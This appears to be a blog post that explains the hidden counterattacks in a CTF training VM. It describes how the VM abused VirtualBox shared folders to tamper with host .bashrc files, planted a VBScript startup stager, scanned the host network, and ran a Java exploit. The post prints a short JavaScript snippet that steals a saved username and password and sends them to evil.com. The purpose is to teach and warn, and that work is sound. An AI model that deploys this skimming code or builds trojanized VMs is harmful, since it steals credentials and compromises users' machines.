Malicious VM to Host Attacks


In The Hacker Games, a hostile VM is used as the target. It employs "evil VM" attacks against the host and a few other counterattacks among the included CTF-style challenges, so if you don't want any spoilers, don't keep reading!
Effie Trinket from the Hunger Games


OK, so you all have tried the challenges? Good. As you noticed, the VM included three main separate login-screen-style webapp challenges, all vulnerabilities I have seen in real-world applications. No SQLi or XSS, too, mainly authentication bypass vulnerabilities. Also, lots of quality internet fail videos, jokes, and memes if you were not successful, with some hints of varying usefulness thrown in.

Interspersed on the pages were the counterattacks, which are detailed below. But all of the challenges and memes were basically a distraction from the main point, the VirtualBox malicious VM attack. This malicious VM attack is based on a quirk or "feature" of VirtualBox that will allow an imported VM to have full access to the hard drive. The VM simply needs to be configured with the root directory (such as "C:\") shared. The difference with VMWare, for example, is that importing a VM with shared folders in VMWare will trigger a warning popup explaining the risk and allowing the user to deny access to the hard drive. Just like when you open a PDF or Word document, you expect it to live in its sandbox. You don't expect opening a VM file to allow full user-level compromise, but that is the case with VirtualBox. To be clear, this is not an arbitrary VM breakout, it relies on a VM configuration, so your VM's are safe, but watch out for the VM's you get at classes and conferences.

This exploit began with the download link, as it required an operating-system specific VM to work, and I wanted to target both Windows and Linux users. (sharing "/" will throw an error on Windows and sharing "C:\" throws an error on Linux) The link redirected based on the OS listed in the user-agent. If you were on mac, your security obscurity saved you from this one, but don't rely on it.

For a Linux host, a script had been started that would pause for about a minute, then loop, searching through each subfolder in /home/ for .bashrc files, and inserting a "you got pwned" message at the beginning. For Windows, a similar script would run, searching through all the user profile directories it could find, and adding a short vbscript stager in the startup directories. This would run a loop, popping calc and displaying another "you got pwned" message. Of course, any file you can access would also be accessible from the VM.

More VM specific attacks were based on network connection. The system was configured in NAT mode, forwarding port 3000 on the host to its webserver. This was primarily to avoid issues trying to find the IP the system got and was a better alternative than giving the VM a manual IP and then not having the host have a native route to it, etc. It would also allow the VM to nmap scan the host and nearby systems from the perspective of your system and send the results off.

Another convenient side effect was that visiting the VM in a browser meant visiting http://localhost:3000/ While that may not mean anything to most of you, it's the default port of Ruby on Rails. If you start up a local copy, for example, if you are developing a rails application, you may frequently visit the URL, and if you have put in a username and password, it could be saved in the browser. A simple bit of javascript can send that to a remote system:

us=document.getElementsByName("username")[0];
if(us && us.value != ''){
	p=document.getElementsByName("password")[0].value;
	scr=document.createElement("script");
	scr.src="http://evil.com/?user="+us.value+"&pass="+p;
	document.head.appendChild(scr);
}

In this case the page could also pull in another script from an outside site, and allow the outside site to explore your browser with BeEF or send more updated or customized exploits, for example.

Also included was a representative Java browser exploit - I hope you all are familiar with probably the most common target for reliable cross-platform exploits, Java. And I do hope you have disabled that in your browser.

The last counter the VM included was referenced in its robots.txt, a mention of a "secret" directory that included weblabyrinth to bog down automated crawlers. In this case, a classy version based on Macbeth was installed. Aroint thee, witch!

Comments are closed.